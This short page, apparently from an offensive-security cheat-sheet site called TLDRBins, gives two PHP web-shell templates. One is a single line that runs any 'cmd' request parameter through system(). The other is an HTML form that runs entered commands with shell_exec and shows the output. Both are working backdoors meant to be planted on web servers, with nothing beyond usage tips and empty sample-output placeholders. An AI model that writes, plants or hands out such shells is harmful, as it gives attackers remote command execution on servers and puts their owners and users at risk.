TLDRBins TLDRBins / PHP Command Shell


Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

Template #1

<?php system($_REQUEST['cmd']); ?>
Sample Output: TO-DO

Template #2

<!DOCTYPE html> <html> <head> <title>Command Shell</title> <style> body { font-family: monospace; margin: 20px; } pre { background: #f4f4f4; padding: 10px; } </style> </head> <body> <form method="GET" action="<?php echo htmlspecialchars(basename($_SERVER['PHP_SELF'])); ?>"> <input type="text" name="cmd" autofocus> <input type="submit" value="Run"> </form> <pre> <?php if (isset($_GET['cmd'])) { $cmd = trim($_GET['cmd']); if (!empty($cmd)) { echo htmlspecialchars(shell_exec($cmd . ' 2>&1'), ENT_QUOTES, 'UTF-8'); } } ?> </pre> </body> </html>
Sample Output: TO-DO